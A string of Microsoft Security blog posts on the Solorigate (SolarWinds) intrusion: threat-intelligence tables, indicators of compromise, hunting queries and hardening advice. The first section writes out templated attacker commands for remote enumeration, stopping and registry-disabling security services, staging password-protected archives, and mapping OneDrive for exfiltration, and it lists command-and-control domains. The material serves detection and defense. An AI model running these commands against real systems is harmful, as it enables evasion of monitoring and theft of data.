Attackers used multiple command-line utilities to enumerate running process, services, and signed-in users on a remote system before attempting lateral movement. – tasklist /v /s [target]
– query user /server:[target]
– schtasks /query /v /s [target] /fo csv
– sc \\[target] query type=service state=all
– wmic /node:”[target]” service get name,startname
T1047 | Windows Management Instrumentation (WMI),
T1057 | Process Discovery
Attackers used the service control manager on a remote system to disable services associated with security monitoring products. They then moved laterally to the remote system and, when the move was complete, they re-enabled the services on the source machine where they were operating previously to avoid raising warnings. On Source Machine:
sc \\[dest_machine] stop [service name][perform lateral move Source->Dest]once on Dest Machine:
sc \\[source_machine] start [service name]
T1562.001 | Defense Evasion –
Impair Defenses: Disable or Modify Tools
Attackers set the service start registry key for security monitoring products to “disabled” (i.e., DWORD value of “4”). This prevented security products from loading when the system starts. In some cases, the attackers waited to perform activity on the system until the system restarts and security monitoring products were disabled. reg add HKLM\system\currentcontrolset\services\[service name] /v Start /t REG_DWORD /d 4″ T1562.001 | Defense Evasion –
Impair Defenses: Disable or Modify Tools
Attackers modified timestamps of backdoors to match a legitimate Windows file (e.g., arp.exe). n/a T1070.006 | Indicator Removal on Host: Timestomp
Attackers used the 7-zip utility to create a password-protected archive with an extension not associated with archive files. In some cases they also used the flag “-v” to split the archive in multiple files for easier exfiltration. 7z.exe a -mx9 -r0 -p[password-redacted] .\[filename1].zip .\[filename2].log or .txt

7z.exe a -v500m -mx9 -r0 -p[password-redacted] .\[filename1].zip .\[filename2].log or .txt

T1560.001 | Archive Collected Data: Archive via Utility
Attackers mapped a OneDrive share from the command-line using the net.exe command-line utility, possibly for exfiltration; other cloud services like Google Drive were most likely also used. net use [drive]: “https://d.docs.live.net/[user-id]” /u:[username] [password] T1567.002 |
Exfiltration Over Web Service: Exfiltration to Cloud Storage
Attackers attempted to access Group Managed Service Account (gMSA) passwords with account credentials they have already obtained. n/a T1555 |
Credentials from Password Stores
Attackers leveraged privileged accounts to replicate directory service data with Domain Controllers (e.g., a DCSync attack). n/a T1003.006 |
OS Credential Dumping: DCSync
Attackers obtained Ticket Granting Service (TGS) tickets for Active Directory Service Principal Names (SPNs) to crack offline (e.g., Kerberoasting). n/a T1558.003 |
Steal or Forge Kerberos Tickets: Kerberoasting
Attackers executed multiple times the legitimate ADFIND tool to enumerate domains, remote systems, accounts and to discover trust between federated domains. The tool was executed with a renamed filename chosen to blend into the existing environment or mimicking existing network services. [renamed-adfind].exe -h [internal domain] -sc u:[user] > .\\[machine]\[file].[log|txt]

[renamed-adfind].exe -sc u:* > .\[folder]\[file].[log|txt]

[renamed-adfind].exe -h [machine] -f (name=”Domain Admins”) member -list | [renamed-adfind].exe -h [machine] -f objectcategory=* > .\[folder]\[file].[log|txt]

Some examples of [renamed-adfind] observed by Microsoft and other security researchers::

SearchIndex.exe
sqlceip.exe
postgres.exe
IxNetwork.exe
csrss.exe

T1482 |
Domain Trust DiscoveryT1018 |
Remote System Discovery

 

Conclusion

As we continue to gain deeper understanding of the Solorigate attack, we get a clearer picture of the skill level of the attackers and the extent of planning they put into pulling off one of the most sophisticated attacks in recent history. The combination of a complex attack chain and a protracted operation means that defensive solutions need to have comprehensive cross-domain visibility into attacker activity and provide months of historical data with powerful hunting tools to investigate as far back as necessary.

Modern attacks like Solorigate highlight the need for organizations to use advanced security solutions like Microsoft 365 Defender and Azure Sentinel and operate security response under an “assume breach” mentality. Microsoft 365 Defender harnesses the power of multiple capabilities and coordinates protection across domains to provide comprehensive defense. Azure Sentinel collects data from multiple data sources, including Microsoft 365 Defender, to connect data together and allow broad hunting for attacker activity.

In our ongoing forensic analysis of known Solorigate cases with malicious activity occurring between May and November 2020, we have in some instances seen the following relevant alerts generated by Microsoft Defender for Endpoint and Microsoft Defender for Identity. Incident responders and defenders investigating Solorigate incidents during that timeframe can refer to these alerts, alone or in combination, as potential indicators of the Solorigate activity.

Microsoft Defender for Endpoint alerts:

  • Low-reputation arbitrary code executed by signed executable
  • Suspicious ‘Atosev’ behavior was blocked
  • Suspicious Remote WMI Execution
  • A WMI event filter was bound to a suspicious event consumer

Microsoft Defender for Identity alerts:

  • User and IP address reconnaissance (SMB)
  • Suspected Kerberos SPN exposure

Figure 11. Alert raised by Microsoft Defender for Endpoint on Solorigate-related malicious activity in June 2020

The disclosure of the Solorigate attack and the investigations that followed unearthed more details and intelligence that we used to improve existing detections and build new ones. Security operations teams looking to get a comprehensive guide on detecting and investigating Solorigate can refer to Using Microsoft 365 Defender to protect against Solorigate.

Meanwhile, security administrators can use the recommendations for hardening networks against Solorigate and similar sophisticated cyberattacks outlined in Increasing resilience against Solorigate and other sophisticated attacks with Microsoft Defender.

To get the latest information and guidance from Microsoft, visit https://aka.ms/solorigate.

 

Microsoft 365 Defender Research Team

Microsoft Threat Intelligence Center (MSTIC)

Microsoft Cyber Defense Operations Center (CDOC)

 

Indicators of compromise (IoCs)

Custom Cobalt Strike Beacon loader (SHA-256):

118189f90da3788362fe85eafa555298423e21ec37f147f3bf88c61d4cd46c51
1817a5bf9c01035bcf8a975c9f1d94b0ce7f6a200339485d8f93859f8f6d730c
1ec138f21a315722fb702706b4bdc0f544317f130f4a009502ec98345f85e4ad
2a276f4b11f47f81dd2bcb850a158d4202df836769da5a23e56bf0353281473e
327f1d94bc26779cbe20f8689be12c7eee2e390fbddb40b92ad00b1cddfd6426
3985dea8e467c56e8cc44ebfc201253ffee923765d12808aaf17db2c644c4c06
557f91404fb821d7c1e98d9f2f5296dc12712fc19c87a84602442b4637fb23d4
5cf85c3d18cd6dba8377370883a0fffda59767839156add4c8912394f76d6ef0
5f8650ca0ed22ad0d4127eb4086d4548ec31ad035c7aec12c6e82cb64417a390
674075c8f63c64ad5fa6fd5e2aa6e4954afae594e7b0f07670e4322a60f3d0cf
6ff3a4f7fd7dc793e866708ab0fe592e6c08156b1aa3552a8d74e331f1aea377
7c68f8d80fc2a6347da7c196d5f91861ba889afb51a4da4a6c282e06ef5bdb7e
915705c09b4bd108bcd123fe35f20a16d8c9c7d38d93820e8c167695a890b214
948bfdfad43ad52ca09890a4d2515079c29bdfe02edaa53e7d92858aa2dfbe4c
955609cf0b4ea38b409d523a0f675d8404fee55c458ad079b4031e02433fdbf3
b348546f4c6a9bcafd81015132f09cf8313420eb653673bf3d65046427b1167f
b35e0010e0734fcd9b5952ae93459544ae33485fe0662fae715092e0dfb92ad3
b820e8a2057112d0ed73bd7995201dbed79a79e13c79d4bdad81a22f12387e07
be9dbbec6937dfe0a652c0603d4972ba354e83c06b8397d6555fd1847da36725
c5a818d9b95e1c548d6af22b5e8663a2410e6d4ed87df7f9daf7df0ef029872e
c741797dd400de5927f8b5317165fc755d6439749c39c380a1357eac0a00f90c
c7924cc1bc388cfcdc2ee2472899cd34a2ef4414134cbc23a7cb530650f93d98
c96b7a3c9acf704189ae8d6124b5a7b1f0e8c83c246b59bc5ff15e17b7de4c84
cbbe224d9854d6a4269ed2fa9b22d77681f84e3ca4e5d6891414479471f5ca68
cdd9b4252ef2f6e64bccc91146ec5dc51d94e2761184cd0ffa9909aa739fa17e
dbd26ccb3699f426dc6799e218b91d1a3c1d08ad3006bc2880e29c755a4e2338
e60e1bb967db273b922deeea32d56fc6d9501a236856ef9a3e5f76c1f392000a
f2d38a29f6727f4ade62d88d8a68de0d52a0695930b8c92437a2f9e4de92e418
f61a37aa8581986ba600286d65bb76100fb44e347e253f1f5ad50051e5f882f5
f81987f1484bfe5441be157250b35b0a2d7991cf9272fa4eacd3e9f0dee235de

File paths for the custom Cobalt Strike Beacon loader:

C:\Windows\ms\sms\sms.dll
C:\Windows\Microsoft.NET\Framework64\sbscmp30.dll
C:\Windows\AUInstallAgent\auagent.dll
C:\Windows\apppatch\apppatch64\sysmain.dll
C:\Windows\Vss\Writers\Application\AppXML.dll
C:\Windows\PCHEALTH\health.dll
C:\Windows\Registration\crmlog.dll
C:\Windows\Cursors\cursrv.dll
C:\Windows\AppPatch\AcWin.dll
C:\Windows\CbsTemp\cbst.dll
C:\Windows\AppReadiness\Appapi.dll
C:\Windows\Panther\MainQueueOnline.dll
C:\Windows\AppReadiness\AppRead.dll
C:\Windows\PrintDialog\PrintDial.dll
C:\Windows\ShellExperiences\MtUvc.dll
C:\Windows\PrintDialog\appxsig.dll
C:\Windows\DigitalLocker\lock.dll
C:\Windows\assembly\GAC_64\MSBuild\3.5.0.0__b03f5f7f11d50a3a\msbuild.dll
C:\Windows\Migration\WTR\ctl.dll
C:\Windows\ELAMBKUP\WdBoot.dll
C:\Windows\LiveKernelReports\KerRep.dll
C:\Windows\Speech_OneCore\Engines\TTS\en-US\enUS.Name.dll
C:\Windows\SoftwareDistribution\DataStore\DataStr.dll
C:\Windows\RemotePackages\RemoteApps\RemPack.dll
C:\Windows\ShellComponents\TaskFlow.dll

Cobalt Strike Beacon:

aimsecurity[.]net
datazr[.]com
ervsystem[.]com
financialmarket[.]org
gallerycenter[.]org
infinitysoftwares[.]com
mobilnweb[.]com
olapdatabase[.]com
swipeservice[.]com
techiefly[.]com

Advanced hunting queries

A collection of Advanced Hunting Queries (AHQ) related to Solorigate is located in our AHQ repository in GitHub. To locate possible exploitation activity related to the contents of this blog, you can run the following advanced hunting queries via Microsoft Defender for Endpoint:

Anomalous usage of 7zip

Look for anomalous usage or running process of 7zip. Run query in Microsoft Defender for Endpoint.

DeviceProcessEvents
| where InitiatingProcessFileName in~("rundll32.exe", "dllhost.exe") and InitiatingProcessCommandLine != "" and InitiatingProcessCommandLine !contains " "
| extend RundllTime = Timestamp
| join DeviceProcessEvents on $left.DeviceId == $right.DeviceId
| where InitiatingProcessFileName hasprefix "7z" or InitiatingProcessCommandLine has "-mx9"
| extend DateDiff = datetime_diff("day", Timestamp, RundllTime)
| where DateDiff < 2

Presence of custom Cobalt Strike

Look for presence of custom cobalt strike loaders. Run query in Microsoft Defender for Endpoint.

DeviceProcessEvents
| where FileName =~ "rundll32.exe"
| where InitiatingProcessIntegrityLevel in ("High", "System")
| where ProcessCommandLine matches regex @'(?i)rundll32\s+c\:\\windows(\\[^\\]+)+\.dll\s+[a-zA-Z0-9_]{3,}'

Command and control

Look for command-and-control connections. Run query in Microsoft Defender for Endpoint.

DeviceNetworkEvents
| where InitiatingProcessParentFileName =~ "rundll32.exe"
| where InitiatingProcessFileName =~ "dllhost.exe" and InitiatingProcessCommandLine != "" and InitiatingProcessCommandLine !contains " "

Look for network connections to known command and control domains. Run query in Microsoft Defender for Endpoint.

DeviceNetworkEvents
| where RemoteUrl in~('aimsecurity.net',
'datazr.com',
'ervsystem.com',
'financialmarket.org',
'gallerycenter.org',
'infinitysoftwares.com',
'mobilnweb.com',
'olapdatabase.com',
'swipeservice.com',
'techiefly.com')

 

The post Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop appeared first on Microsoft Security.

Increasing resilience against Solorigate and other sophisticated attacks with Microsoft Defender

January 14th, 2021 No comments

­Even as investigations into the sophisticated attack known as Solorigate are still underway, details and insights about the tools, patterns, and methods used by the attackers point to steps that organizations can take to improve their defenses against similar attacks. Solorigate is a cross-domain compromise—comprehensive visibility and coordinated defense are critical in responding to the attack. The same unified end-to-end protection is key to increasing resilience and preventing such attacks.

This blog is a guide for security administrators using Microsoft 365 Defender and Azure Defender to identify and implement security configuration and posture improvements that harden enterprise environments against Solorigate’s attack patterns.

This blog will cover:

The recommendations on this blog are based on our current analysis of the Solorigate attack. While this threat continues to evolve and investigations continue to unearth more information, we’re publishing these recommendations to help customers apply improvements today. To get the latest information and guidance from Microsoft, visit https://aka.ms/solorigate. Security operations and incident response teams looking for detection coverage and hunting guidance can refer to https://aka.ms/detect_solorigate.

What the Solorigate attack tells us about the state of cyberattacks

Solorigate is a complex, multi-stage attack that involved the use of advanced attacker techniques across multiple environments and multiple domains to compromise high-profile targets. To perpetrate this sophisticated attack, the attackers performed the steps below, which are discussed in detail in this blog:

  1. Compromise a legitimate binary belonging to the SolarWinds Orion Platform through a supply-chain attack
  2. Deploy a backdoor malware on devices using the compromised binary to allow attackers to remotely control affected devices
  3. Use the backdoor access on compromised devices to steal credentials, escalate privileges, and move laterally across on-premises environments to gain the ability to create SAML tokens
  4. Access cloud resources to search for accounts of interest and exfiltrate emails

Diagram of high-level Solorigate attack chain

Figure 1. High-level end-to-end Solorigate attack chain

As its intricate attack chain shows, Solorigate represents a modern cyberattack conducted by highly motivated actors who have demonstrated they won’t spare resources to get to their goal. The collective intelligence about this attack shows that, while hardening individual security domains is important, defending against today’s advanced attacks necessitates a holistic understanding of the relationship between these domains and how a compromise in one environment can be a jump-off point to another.

The Microsoft Defender for Endpoint threat analytics reports published in Microsoft 365 security center enable customers to trace such cross-domain threats by providing end-to-end analysis of critical threats. In the case of Solorigate, Microsoft researchers have so far published two threat analytics reports, which continue to be updated as additional information becomes available:

In addition to providing detailed descriptions of the attack, TTPs, indicators of compromise (IoCs), and the all-up impact of the threat to the organization, the threat analytics reports empower security administrators to review organizational resilience against the attack and apply recommended mitigations. These mitigations and other recommended best practices are discussed in the succeeding sections. Customers who don’t have access to threat analytics can refer to a publicly available customer guidance.

Screenshot of Threat analytics report on Solorigate

Figure 2. Microsoft Defender for Endpoint threat analytics report on Solorigate attack

Protecting devices and servers

The attackers behind Solorigate gain initial access to target networks by activating backdoor codes inserted into the compromised SolarWinds binary. Protecting devices against this stage of the attack can help prevent the more damaging impact of the latter stages.

Ensure full visibility into your device estate by onboarding them to Microsoft Defender for Endpoint

In the ongoing comprehensive research into the complex Solorigate attack, one thing remains certain: full in-depth visibility into your devices is key to gaining insights on security posture, risk, and potential attack activity. Make sure all your devices are protected and monitored by Microsoft Defender for Endpoint.

Screenshot of status tile in device configuration

Figure 3.  Status tile in the Device configuration management tab of Microsoft Defender for Endpoint, showing onboarded devices compared to the total number of devices managed via Endpoint Manager

Identify and patch vulnerable SolarWinds Orion applications

The Solorigate attack uses vulnerable versions of the SolarWinds Orion application so we recommend that you identify devices running vulnerable versions of the application and ensure they are updated to the latest version. The threat analytics report uses insights from threat and vulnerability management to identify such devices. On the Mitigations page in Threat analytics, you can view the number of devices exposed to vulnerability ID TVM-2020-0002, which we added specifically to help with Solorigate investigations:

Screenshot of Microsoft Defender Security Center Threat analytics Mitigations page

Figure 4. The Threat analytics Mitigations page shows information on exposed devices

The new vulnerability ID TVM-2020-0002 was added to the threat and vulnerability management Weaknesses page in Microsoft Defender for Endpoint so you can easily find exposed devices that have vulnerable SolarWinds software components installed. Additional details are available in the vulnerability details pane.

Screenshot of the vulnerability detail for TVM-2020-0002

Figure 5. Threat and vulnerability management vulnerability details pane for TVM-2020-0002  

Customers can also use the software inventory page in threat and vulnerability management to view the SolarWinds Orion versions present on endpoints in your environment and whether the vulnerable versions are present. Links to the threat analytics reports are provided under the Threats column. You can then assess the footprint of a specific software in your organization and identify the impacted devices without the need to run scans across the install base.

Screenshot of threat and vulnerability management software inventory page

Figure 6. Threat and Vulnerability Management software inventory page displaying installed SolarWinds Orion software

Security recommendations are provided to update devices running vulnerable software versions.

Screenshot of threat and vulnerability management security recommendations page

Figure 7. Threat and Vulnerability Management security recommendations page

Security admins can also use advanced hunting to query, refine, and export data. The following query retrieves an inventory of the SolarWinds Orion software in your organization, organized by product name and sorted by the number of devices that have software installed:

DeviceTvmSoftwareInventoryVulnerabilities

| where SoftwareVendor == ‘solarwinds’

| where SoftwareName startswith ‘orion’

| summarize dcount(DeviceName) by SoftwareName

| sort by dcount_DeviceName desc

The following query searches threat and vulnerability management data for SolarWinds Orion software known to be affected by Solorigate:

DeviceTvmSoftwareInventoryVulnerabilities

| where CveId == ‘TVM-2020-0002’

| project DeviceId, DeviceName, SoftwareVendor, SoftwareName, SoftwareVersion

For each security recommendation you can submit a request to the IT administrator to remediate vulnerable devices. Doing this creates a security task in Microsoft Endpoint Manager (formerly Intune) that can be continuously tracked in the threat and vulnerability management Remediation page. To use this capability, you need to enable a Microsoft Endpoint Manager connection.

Screenshot of threat and vulnerability management remediation options

Figure 8. Threat and vulnerability management ‘Remediation options’ for security recommendations and ‘Remediation activities’ tracking

Implement recommended security configurations

In addition to providing vulnerability assessments, Threat and Vulnerability Management also provides security recommendation guidance and device posture assessment that help mitigate this attack. These recommendations use vulnerability data that is also present in the Solorigate threat analytics report.

Screenshot of threat analytics mitigations page

Figure 9. Threat analytics Mitigation page shows secure configuration recommendations for devices exposed to Solorigate

The following security recommendations are provided in response to Solorigate:

Component  Secure configuration recommendations  Attack stage
Security controls (Antivirus) Turn on real-time protection Stage 1
Security controls (Antivirus) Update Microsoft Defender Antivirus definitions to version 1.329.427.0 or later Stage 1
Security controls (Attack surface reduction) Block execution of potentially obfuscated scripts Stage 2
Security controls (Attack surface reduction) Block executable files from running unless they meet a prevalence, age, or trusted list criterion Stage 2
Security controls (Microsoft Defender SmartScreen) Set Microsoft Defender SmartScreen Microsoft Edge site and download checking to block or warn Stage 2

Applying these security controls can be accomplished using Microsoft Endpoint Manager (Intune and Configuration Manager). Refer to the following documentation for guidance on deploying and managing policies with Endpoint Manager:

Protecting on-premises and cloud infrastructure

In addition to compromising client endpoints, attackers can also activate backdoor code via the compromised SolarWinds binary installed on cloud or on-premises servers, allowing them to gain a stronger foothold in the environment.

Protect your on-premises and cloud servers

A large part of many customers’ infrastructure are virtual machines. Azure Defender helps security professionals protect cloud workloads spanning virtual machines, SQL, storage, containers, IoT, Azure network layer, Azure Key Vault, and more.

As mentioned earlier, one of the key actions that should be taken to help prevent Solorigate and similar attacks is to ensure that all devices are protected and monitored by Microsoft Defender for Endpoint. Deploying Azure Defender for Servers enables Defender for Endpoint for your virtual machines to provide comprehensive detection coverage across the Solorigate attack chain. Azure Defender’s integrated vulnerability assessment solution for Azure and hybrid machines can also help address the Solorigate attack by providing visibility into vulnerability assessment findings in Azure Security Center.

Enable additional infrastructure protection and monitoring

To help provide additional in-depth defenses against Solorigate, Azure Defender recently introduced new protection modules for Azure resources. Enabling these protections can improve your visibility into malicious activities and increase the number of Azure resources protected by Azure Defender.

Azure Defender for Resource Manager allows you to continuously monitor all Azure resource management operations and breadth in protection, which includes the ability to detect attempts to exclude known malicious files by the VM Antimalware extension and other suspicious activities that could limit antimalware protection on Azure VMs.

In addition, Azure Defender for DNS ensures that all DNS queries from Azure resources using Azure DNS, including communication with malicious domains used in the Solorigate attack, are monitored, and helps identify Solorigate activity across any of your Azure cloud resources. This helps prevent the malicious Solorigate DLL from being able to connect to a remote network infrastructure to prepare for possible second-stage payloads.

Protect your Active Directory and AD FS infrastructure

After gaining access, attackers may attempt to steal credentials, escalate privileges, and move laterally in the environment. Having complete visibility into your Active Directory, either completely on-premises or hosted in IaaS machines, is key in detecting these attacks and identifying opportunities to harden security posture to prevent them.

In hybrid environments, make sure that Microsoft Defender for Identity sensor components are deployed on all your Domain Controllers and Active Directory Federation Services (AD FS) servers. Microsoft Defender for Identity not only detects malicious attempts to compromise your environment but also builds profiles of your on-premises identities for proactive investigations and provides you with built-in security assessments. We recommend prioritizing the deployment of Microsoft Defender for Identity sensors and using the “Unmonitored domain controllers” security assessment, which lists any detected domain controllers in your environment that are unmonitored. (Note: this capability can monitor your environment only after deploying at least one sensor on a domain controller.)

Screenshot of Microsoft Cloud App security showing unmonitored domain controllers

Figure 10. Unmonitored domain controllers security assessment in the Microsoft Cloud App Security portal

Protecting Microsoft 365 cloud from on-premises attacks

The end goal of the attackers behind Solorigate is to gain access to a target organization’s cloud environment, search for accounts of interest, and exfiltrate emails. From a compromised device, they move laterally across the on-premises environment, stealing credentials and escalating privileges until they can gain the ability to create SAML tokens that they then use to access the cloud environment. Protecting cloud resources from on-premises attack can prevent the attackers from successfully achieving their long game.

Implement recommended security configurations to harden cloud posture

Further best practices and recommendations to reduce the attack surface and protect the cloud from on-premise compromise can be found in our protecting Microsoft 365 cloud from on-premises attacks blog.

Implement conditional access and session control to secure access to cloud resources

In addition to hardening the individual surfaces to disrupt and prevent the attack, extending policies to implement zero trust and access controls is key in preventing compromised or unhealthy devices from accessing corporate assets, as well as governing cloud access from compliant devices.

Enable conditional access policies

Conditional access helps you better protect your users and enterprise information by making sure that only secure users and devices have access. We recommend implementing the common recommended policies for securing access to Microsoft 365 cloud services, including on-premises applications published with Azure Active Directory (Azure AD) Application Proxy.

Additionally, you can configure user risk and device risk conditional access policies to enable access to enterprise information based on the risk level of a user or device, helping keep trusted users on trusted devices using trusted applications.

Enable real-time monitoring and session control

Directly integrated with conditional access, session controls in Microsoft Cloud App Security enable extending access decisions into the session, with real-time monitoring and control over user actions in your sanctioned apps. Implement policies to prevent data exfiltration in risky situations, including blocking or protecting downloads to risky or unmanaged devices, as well as for partner users.

Additional recommendations and best practices

Strengthen your security posture even further by reviewing all improvement actions available via Microsoft Secure Score. Secure Score helps operationalize security posture management and improve your organizational security hygiene for your production tenant. Below are some of the Secure Score improvement actions for Azure Active Directory that have a direct impact against Solorigate attack patterns:

  • Do not allow users to grant consent to unmanaged applications
  • Enable Password Hash Sync if hybrid
  • Enable policy to block legacy authentication
  • Enable self-service password reset
  • Ensure all users can complete multi-factor authentication for secure access
  • Require MFA for administrative roles
  • Turn on sign-in risk policy
  • Turn on user risk policy
  • Use limited administrative roles

In addition, you can use the identity security posture assessment feature in Microsoft Defender for Identity to identify common protection gaps that might exist in your environment. Addressing detection gaps such as the following improves your Microsoft Secure Score and improves your overall resilience to a wide range of credential theft attacks:

  • Stop entities that are exposing credentials in cleartext, including ones that are tagged as sensitive. Attackers listen to cleartext credentials being sent over the network to harvest credentials and escalate privileges. While we have no indication that this technique was used in Solorigate, this is a general attack trend that organizations must be aware of and prevent.

Screenshot of Microsoft Defender for Identity portal showing Identity Security Posture

Figure 11. Entities exposing credentials in clear text security assessment in the Microsoft Cloud App Security portal

  • Remediate accounts with unsecure attributes that could allow attackers to compromise them once an initial foothold in the environment is established.

Screenshot of Microsoft Defender for Identity showing unsecure account attributes

Figure 12. Unsecure account attributes security assessment in the Microsoft Cloud App Security portal

  • Reduce risky lateral movement paths to sensitive users. An attacker could move across devices to elevate to a more privileged role and operate deeper in your organization’s environment, as we’ve witnessed in the Solorigate attack.

Screenshot of Microsoft Defender for Identity portal showing risky lateral movement

Figure 13. Risky lateral movement paths security assessment in the Microsoft Cloud App Security portal

Multiple layers of coordinated defense against advanced cross-domain attacks

Microsoft 365 Defender and Azure Defender deliver unified, intelligent, and automated security across domains to empower organizations to gain end-to-end threat visibility, which as the Solorigate attack has shown, is a critical security capability for all organizations to have. In addition to providing comprehensive visibility and rich investigation tools, Microsoft 365 Defender and Azure Defender help you to continuously improve your security posture as a direct result of insights from collective industry research or your own investigations into attacks through configurations you can make directly in the product or in-product recommendations you can implement.

For additional information and guidance from Microsoft, refer to the following:

 

The post Increasing resilience against Solorigate and other sophisticated attacks with Microsoft Defender appeared first on Microsoft Security.

New Surface PCs enable virtualization-based security (VBS) by default to empower customers to do more, securely

January 11th, 2021 No comments

VBS and HVCI-enabled devices help protect from advanced attacks

Escalation of privilege attacks are a malicious actor’s best friend, and they often target sensitive information stored in memory. These kinds of attacks can turn a minor user mode compromise into a full compromise of your OS and device. To combat these kinds of attacks, Microsoft developed virtualization-based security (VBS) and Hypervisor-protected code integrity (HVCI, also commonly referred to as memory integrity). VBS and HVCI use the power of hardware capabilities like virtualization to provide better protection against common and sophisticated malware by performing sensitive security operations in an isolated environment.

Today, Microsoft announced that the new Surface Pro 7+ for Business will ship with these Windows enhanced hardware security features enabled out of the box to give customers even stronger security that is built-in and turned on by default. The Surface Pro 7+ for Business joins existing recently shipped devices like the Surface Book 3, Surface Laptop Go, and the Surface Pro X in enabling VBS and HVCI by default.

Surface enables added security features by default to combat common threats

Surface devices are used by customers across a variety of mission critical scenarios – from collaborating in Office on important documents to Microsoft Teams calls with coworkers across the globe. Providing robust protection against the latest malware and ransomware is a critical goal for Surface as customers expect that their devices and data can withstand common attacks. To meet this customer need, Surface has worked diligently across multiple hardware platforms to enable VBS and HVCI by default on capable new Surface models, including the Surface Book 3 and Surface Laptop Go, to provide the latest security protections consistently across different form factors and price points available to customers.

VBS and HVCI create and isolate a region of memory from the normal operating system using hardware virtualization capabilities. This security capability can stop most escalation of privilege attacks. The security subsystems running in the isolated environment provided by the hypervisor can help enforce HVCI protections, including preventing kernel memory pages from being both writeable and executable.

VBS provides significant security gains against practical attacks including several we saw last year, including human-operated ransomware attacks like RobbinHood and sophisticated malware attacks like Trickbot, which employ kernel drivers and techniques that can be mitigated by HVCI. Our research shows that there were 60% fewer active malware reports from machines reporting detections to Microsoft 365 Defender with HVCI enabled compared to systems without HVCI.  The Surface Book 3 shipped in May 2020 and the Surface Laptop Go shipped in October 2020, and users may not have noticed they are running VBS and are therefore better protected based on the work done under the hood.

The simple choice for device security

Endpoint security has always been at the core of Surface devices. Our engineering team has been using a unified approach to firmware protection and device security since 2015 through complete end-to-end ownership of hardware design, in-house firmware development, and a holistic approach to device updates and management.

For Surface, our Unified Extensible Firmware Interface (UEFI) is written in-house, continuously maintained through Windows Update, and fully managed through the cloud by Microsoft Endpoint Manager. This level of control enables enterprises to minimize risk and maximize control at the firmware level before the device even starts Windows 10. IT organizations now have the ability through the cloud to disable a camera or disable the ability to boot from USB all at the pre-boot firmware level. The result is a reduced attack vector that is critical to endpoint protection. Microsoft is making this UEFI* available broadly via open source through Project Mu on GitHub.

To protect the firmware and initial boot of your device, Surface enables Secure boot to ensure an authentic version of Windows 10 is started and make certain the firmware is as genuine as it was when it left the factory. Surface also ensures that each commercial device includes a security processor (TPM 2.0) to provide advanced encryption capabilities such as BitLocker to secure and encrypt your data and Windows Hello to enable passwordless sign-in. Each of these built-in security options helps protect your device from malicious software attacks.

With the necessary hardware and OS settings configured during manufacturing, the simple choice for customers looking for devices with advanced Windows security enabled is a Windows PC. Today, the Surface Pro 7 + for Business, Surface Book 3, Surface Laptop Go, and Surface Pro X already ship with VBS and HVCI enabled by default. Future Surface models on capable silicon will ship with these capabilities also enabled by default. Most recent Surface devices and Windows PCs from many other OEMs that have virtualization support are also capable of using these features. Customers can turn on the Memory integrity feature in the device security settings, which also automatically checks if devices are capable.

The post New Surface PCs enable virtualization-based security (VBS) by default to empower customers to do more, securely appeared first on Microsoft Security.

Using Microsoft 365 Defender to protect against Solorigate

December 28th, 2020 No comments

Microsoft security researchers continue to investigate and respond to the sophisticated cyberattack known as Solorigate (also referred to as Sunburst by FireEye) involving a supply chain compromise and the subsequent compromise of cloud assets. While the related investigations and impact assessments are ongoing, Microsoft is providing visibility into the attack chains and related threat intelligence to the defender community as early as possible so organizations can identify and take action to stop this attack, understand the potential scope of its impact, and begin the recovery process from this active threat. We have established a resource center that is constantly updated as more information becomes available at https://aka.ms/solorigate.

This blog is a comprehensive guide for security operations and incident response teams using Microsoft 365 Defender to identify, investigate, and respond to the Solorigate attack if it’s found in your environment. The description of the attack in this blog is based on current analysis and investigations by researchers across Microsoft, our partners, and the intelligence community who are actively collaborating to respond to the attack. This is an active threat that continues to evolve, and the findings included here represent what we know at the time of publishing. We continue to publish and update intelligence, indicators, tactics, techniques, and procedures (TTPs), and related details as we discover them. The report from the Microsoft Security Response Center (MSRC) includes the latest analysis of this threat, known indicators of compromise (IOCs), and initial recommended defenses, and will be updated as new data becomes available.

This blog covers:

Tracking the cross-domain Solorigate attack from endpoint to the cloud

The Solorigate attack is an example of a modern cross-domain compromise. Since these kinds of attacks span multiple domains, having visibility into the entire scope of the attack is key to stopping and preventing its spread.

This attack features a sophisticated technique involving a software supply chain compromise that allowed attackers to introduce malicious code into signed binaries on the SolarWinds Orion Platform, a popular IT management software. The compromised application grants attackers “free” and easy deployment across a wide range of organizations who use and regularly update the application, with little risk of detection because the signed application and binaries are common and are considered trusted. With this initial widespread foothold, the attackers can then pick and choose the specific organizations they want to continue operating within (while others remain an option at any point as long as the backdoor is installed and undetected). Based on our investigations, the next stages of the attack involve on-premises activity with the goal of off-premises access to cloud resources through the following steps:

  1. Using the compromised SolarWinds DLL to activate a backdoor that enables attackers to remotely control and operate on a device
  2. Using the backdoor access to steal credentials, escalate privileges, and move laterally to gain the ability to create valid SAML tokens using any of two methods:
    1. Stealing the SAML signing certificate (Path 1)
    2. Adding to or modifying existing federation trust (Path 2)
  3. Using attacker-created SAML tokens to access cloud resources and perform actions leading to the exfiltration of emails and persistence in the cloud

Diagram of the high-level Solorigate attack chain

Figure 1. High-level end-to-end Solorigate attack chain

This attack is an advanced and stealthy campaign with the ability to blend in, which could allow attackers to stay under the radar for long periods of time before being detected. The deeply integrated cross-domain security capabilities in Microsoft 365 Defender can empower organizations and their security operations (SOC) teams to uncover this attack, scope out the end-to-end breach from endpoint to the cloud, and take action to block and remediate it. This blog will offer step-by-step guidance to do this by outlining:

  • How indicators of attack show up across endpoints, identity, and the cloud
  • How Microsoft 365 Defender automatically combines alerts across these different domains into a comprehensive end-to-end story
  • How to leverage the powerful toolset available for deep investigation, hunting, and response to enable SOCs to battle the attackers and evict these attackers from both on-premises and cloud environments

Threat analytics: Understanding and responding to active attacks

As soon as this attack was discovered, Microsoft researchers published two threat analytics reports to help organizations determine if they are affected, assess the impact of the attack, and identify actions to contain it.

The reports are published in Microsoft 365 security center, available to all Microsoft Defender for Endpoint customers and Microsoft 365 Defender early adopters. In addition to detailed descriptions of the attack, TTPs, and indicators of compromise (IoCs), the reports provide real-time data aggregated from signals across Microsoft 365 Defender, indicating the all-up impact of the threat to the organization, as well as details about relevant incidents and alerts to initiate investigation on. These reports continue to be updated as additional information becomes available.

Given the significance of this threat, we are making similar relevant Microsoft threat intelligence data, including the updated list of IOCs, available to everyone publicly.  A comprehensive list of guidance and insights is available at https://aka.ms/solorigate.

Screenshot of threat analytics report on Soloriage in Microsoft Defender Security Center

Figure 2. Threat analytics report on Solorigate attack

